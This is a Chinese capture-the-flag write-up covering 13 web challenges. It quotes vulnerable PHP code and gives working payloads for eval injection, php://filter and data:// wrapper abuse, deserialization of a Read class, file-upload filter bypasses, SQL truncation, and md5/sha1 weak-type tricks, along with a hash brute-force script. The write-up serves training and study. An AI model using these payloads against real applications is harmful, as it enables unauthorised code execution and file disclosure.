WriteUp分享 | CTF-web

时间:2022-04-27
本文章向大家介绍WriteUp分享 | CTF-web,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

题目

  1. 各种绕过哦
  2. TXT?
  3. 文件上传测试
  4. 本地包含
  5. 考细心
  6. 正则?
  7. PHP很烦人?
  8. 一道签到题
  9. 抽抽奖
  10. never give up
  11. I have a jpg,i upload a txt
  12. login
  13. 复杂php绕过

1.各种绕过哦

源题目(from 2017.bkctf)

<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd']))    
{
   if ($_GET['uname'] == $_POST['passwd'])
       print 'passwd can not be uname.';
   else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
       die('Flag: '.$flag);
    else
        print 'sorry!';
}
?>

分析:

看代码定位到die的行,知道了想得到Flag就要让get、post方式得到的uname和passwd的哈希值恒等并且post的id值要等于margin.

第一步:需要sha1()函数的漏洞来绕过,因为sha1()函数无法处理数组类型。所以只有让uname和passwdget值为数组时的哈希值恒为false,即恒等条件成立.

第二步:开头对margin进行了urldecode,所以要将其进行urlencode进行get.

到这里肯定想,嗯网上找个urldecode解码不就得了嘛~

但是-! 因为不论你在百度、谷歌找到的在线解码都默认margin已经不用解码

第三步:直接构造条件

)当然就会有Flag了~

2.TXT?

源题目(from 2017.bkctf)::

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

分析:

开头get方式,找到Flag成立条件,是ac与f恒等且前提要满足ac不能为空以及f的值是从fn文件读取.

方法一:$f = trim(file_get_contents($fn)) 想办法获得一个文本文件fn提取字符串赋值给f.可以在自己的服务器上加个txt内容与ac的get值相等是可以做的...再想出题人不可能让每个做的人去自己服务器写个txt吧...于是在这道题URL框后面加了flag.txt就出现了文本信息“flags”...

方法二:狐火页面工具,运用php输入流,将fn获得的值设置为post进去的值.

3.文件上传测试

源题目(from 2017.bkctf)::

分析:

先用上传一个符合规定的php文件,提示非图片文件.

初步判断应该是改文件后缀名的文件上传绕过题目.

那就直接用火狐与burpsuite的组合,上传一张图片,进行截断,将文件后缀名改为.php.

提交一下,得到了Flag

->非常非常全的文件上传绕过题目解析<-

4.本地包含

源题目(from 2017.bkctf)::

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?> 

分析:

开头有个flag.php提示当前目录存在该文件,但没有出现,所以打印出来即可获得Flag.

可根据$_REQUEST构造get hello的内容,之后给到var_dump函数处理通过eval函数进行字符串打印语句,之后进行执行打印文件.

构造:http://post.bugku.com/hello/(起始网址) + ?hello=print_r(file("flag.php")).

得到Flag.

还有另一道类似的题~方法一样

5.考细心

源题目(from 2017.bkctf)::

进入题目发现:

那我们常规思路试试看一下robots.txt,有收获!

那我们必然访问一下/resus1.php目录文件

那我们看到了if条件构造一下试试呗,前面开头说了改成admin所以—构造:?x=admin 得到Flag.

6.正则?

源题目(from 2017.bkctf):

<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?> 

分析:

明白正则就很简单了,/匹配开始,/key匹配第一个key,.*匹配0次或多次的除换行符之外的字符,key再匹配一个key,{4,7}key匹配4次到7次的key,/./中,为转义字符,即匹配符号//并且之中可匹配除换行符意外的任意字符,(.*key)意思与之前相同,[a-z]可匹配a-z的字母,[:punct:]意思为可以匹配符号,/i的意思是不区分大小写。

7.PHP很烦人?

源题目(from 2017.hbctf):

点进题目链接只有上图的信息,产看源代码之后得到如下:

you are not admin !
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}

第一步:首先要构造$user变量的值为“the user is admin”,方法有两种:

  1. (php输入流)利用firefox的harback发送post参数:
  1. 在url框加入/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=(php的data协议: text/plain为文本格式,"dGhlIHVzZXIgaXMgYWRtaW4"=为“the user is admin”的base64编码).

第二步:看到hello admin。这个时候上边代码提示包含一个$file参数,里面包含class.php文件?那就试试. 利用php的特殊协议流来获取class.php源码,payload:

http://123.206.66.106/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=php://filter/convert.base64-encode/resource=class.php

(php://filter是一个中间流,这里用在将file变量中的class.php内容转换成base64编码输出).得到

第三步:将得到的base64解码后得到代码:

<?php
class Read{//f1a9.php
public $file;
public function __toString(){
    if(isset($this->file)){
        echo file_get_contents($this->file);   
    }
    return "__toString was called!";
}
}
?>

此时想构造pass参数获得Read类中的file变量并且观察到有魔术方法想到-php反序列化漏洞!

payload:

http://123.206.66.106/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=class.php&pass=O:4:%22Read%22:1:{s:4:%22file%22;s:10:%22./f1a9.php%22;}

最终得到flag.

8.一道签到题

源题目(from 2017.CSTC):

进去看到

查看代码

if (isset($_GET['Username']) && isset($_GET['password'])) {
       $logined = true;
    $Username = $_GET['Username'];
    $password = $_GET['password'];
    if (!ctype_alpha($Username)) {$logined = false;}
    if (!is_numeric($password) ) {$logined = false;}
    if (md5($Username) != md5($password)) {$logined = false;}
    if ($logined){
        echo "successful";
    } else {
        echo "login failed!";
    }
}

可知想successful就要让变量logined不为false,则Username为纯字母!与password为纯数字! 并要满足md5($Username) = md5($password).

构造成功后见到另一个门槛:

< if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
    echo "flag";
}
else {
    echo "fail";
}
}
else{
echo "~~~~";
}

运用弱类型绕过!构造 得到flag。

9.抽抽奖

源题目(from 2017.CSTC):

开发者模式,动态调试得到flag。

10.never give up

源题目(from bugku):

进来看见只有一行字,查看源代码只看见提示

1p.html

访问1p.html发现跳转到bugku论坛,看别人的提示后说是有302重定向请求...但我浏览器问题可能说啥都没看见,于是自己构造! 修改GET,HOST不要忘了还要改Target处

得到代码

var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%........."
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();

解密后得到";

if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>

看来是作者是要构造payload让我们得到flag,但我们直接访问就可以了

想要构造也可以构造的

payload:

http://120.24.86.145:8006/test/hello.php?id=a&a=php://input&b=%00111111

不要忘了post:bugku is a nice plateform!

flag{tHis_iS_THe_fLaG}

11.I have a jpg,i upload a txt

源题目(from iscc):

源代码

<?php
include 'hanshu.php';
if(isset($_GET['do']))
{
$do=$_GET['do'];
if($do==upload)
{
    if(empty($_FILES))
    {
        $html1=<<<HTML1
        <form action="index.php?do=upload" method="post" enctype="multipart/form-data">
        <input type="file" name="filename">                 
        <input type="submit" value="upload">
        </form>
         HTML1;
        echo $html1;
    }
    else
    {   $file=@file_get_contents($_FILES["filename"]["tmp_name"]);
        if(empty($file))
        {
            die('do you upload a file?');
        }
        else
        {
            if((strpos($file,'<?')>-1)||(strpos($file,'?>')>-1)||(stripos($file,'php')>-1)||(stripos($file,'<script')>-1)||(stripos($file,'</script')>-1))
            {
                die('you can' upload this!');
            }
            else
            {
                $rand=mt_rand();
                $path='/var/www/html/web-03/uploads/'.$rand.'.txt';
                file_put_contents($path, $file);
                echo 'your upload success!./uploads/'.$rand.'.txt';
            }
        }
    }
}
elseif($do==rename)
{
    if(isset($_GET['re']))
    {
        $re=$_GET['re'];
        $re2=@unserialize(base64_decode(unKaIsA($re,6)));
        if(is_array($re2))
        {
            if(count($re2)==2)
            {   
                $rename='txt';
                $rand=mt_rand();
                $fp=fopen('./uploads/'.$rand.'.txt','w');
                foreach($re2 as $key=>$value)
                {
                    if($key==0)
                    {
                        $rename=$value;
                    }
                    else
                    {
                        if(file_exists('./uploads/'.$value.'.txt')&&is_numeric($value))
                        {
                            $file=file_get_contents('./uploads/'.$value.'.txt');
                            fwrite($fp,$file);
                        }
                    }
                }
                fclose($fp);
                waf($rand,$rename);
                rename('./uploads/'.$rand.'.txt','./uploads/'.$rand.'.'.$rename);
                echo "you success rename!./uploads/$rand.$rename";
            }
        }
        else
        {
            echo 'please not hack me!';
        }
    }
    elseif(isset($_POST['filetype'])&&isset($_POST['filename']))
    {
        $filetype=$_POST['filetype'];
        $filename=$_POST['filename'];
        if((($filetype=='jpg')||($filetype=='png')||($filetype=='gif'))&&is_numeric($filename))
        {   
            $re=KaIsA(base64_encode(serialize(array($filetype,$filename))),6);
            header("Location:index.php?do=rename&re=$re");
            exit();
        }
        else
        {
            echo 'you do something wrong';
        }
    }
    else
    {
        $html2=<<<HTML2
        <form action="index.php?do=rename" method="post">          
filetype: <input type="text" name="filetype" /> please input the your file's type</br>
filename: <input type="text" name="filename" /> please input your file's numeric name,like 12345678
else
{   
show_source(__FILE__);
}
?>

思路

它通过过滤<?、?> 、php以及script标签是不让直接上传php文件的,那就想办法拼接成一个php文件,因为代码机制是允许的,就会给我们flag.

第一步:利用短标签截断上传两个文件,拼在一起是php的短标签格式,1.txt内容:123< ,2.txt内容:? echo "flag";

分别上传成功.

第二步:获得上传两文件的随机文件名,拼接转化规律是获取两个值进行序列化后进行base64加密,然后凯撒移位后,还要将小写字母移位14位,进入rename让两个分散的文件进行拼接构造(因为只有构造才能将两个文件内容拼在一起,短标签成立)

运行后获得base64加密后的

进行凯撒得到

将小写字母向后移14位后的结果(轮盘结构)

构造payload:

http://139.129.108.53:3366/web-03/?do=rename&re=EZisUhnjUdK7wtirSJicSZKtTJOqStA0TYO7uZisU3S6TticTtS4TdS5ScO7zW==

由题意得再次构造条件将文件改名即可,相同算法

直接访问会啥都看不见

用burp截断发送请求,最终找到flag!

12.login

源题目(from bkctf):

hint为 SQL约束攻击 了解完之后

再次登录直接获得flag

这个是my.ini的漏洞。

sql-mode=”NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION”

还是说一下原理吧。。。。

比如一个表的结构是这样的:

create table admin(
username varchar(10) not null,
passwd varchar(10) not null);

可以看到username跟passwd的字节为10 但是这my.ini设置成

sql-mode=”NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION”的话

就算超出也会添加成功

比如:

insert into admin values(‘1234567891 2’,and);

他不会插入“1234567891 2 ”而是插 ”1234567891“ 因为指针到1的时候字节就等于10了。。。

13.复杂php绕过

<?php
show_source(__FILE__);
$a=0;
$b=0;
$c=0;
$d=0;
if (isset($_GET['x1']))
{
$x1 = $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{
case 0:
case 1:
$a=1;
echo "a=$a";
break;
}
}
$x2=(array)json_decode(@$_GET['x2']);
if(is_array($x2))
{
is_numeric(@$x2["x21"])?die("ha?"):NULL;
if(@$x2["x21"])
{
($x2["x21"]>2017)?$b=1:NULL;
echo "b=$b";
}
if(is_array(@$x2["x22"]))
{
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ok?");
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("kkk?"):NULL;
foreach($x2["x22"] as $key=>$val)
{
$val==="XIPU"?die("haHAHAHAH?"):NULL;
}
$c=1;
echo "c=$c";
}
}
$x3 = $_GET['x3'];
if ($x3 != '15562')
{
if (strstr($x3, 'XIPU'))
{
die("haHAHAHAH?");
if (substr(md5($x3),8,16) == substr(md5('15562'),8,16))
{
$d=1;
echo "d=$d";
}
}
}
if($a && $b && $c && $d){
include "flag.php";
echo "flag!!!";
}
?>
payload:
?x1=1a&x2={%22x21%22:%222018a%22,%22x22%22:[[1,2],0]}&x3=XIPU18570
x1:弱类型比较
x2:array_search is_array绕过
x3:md5('15562') 的第 8 位是 0e 开头的,又是用的 ==,利用弱类型可以只判断前两位,之后的只要都是数字就可以:
payload
import hashlib
for i in xrange(1000000):
s = 'XIPU' + str(i)
mymd5 = hashlib.md5()
mymd5.update(s)
mymd5 = mymd5.hexdigest()
flag = 1
if mymd5[8:10] == '0e':
for j in mymd5[10:24]:
if j.isalpha():
flag = 0
break
if flag == 1:
print s
break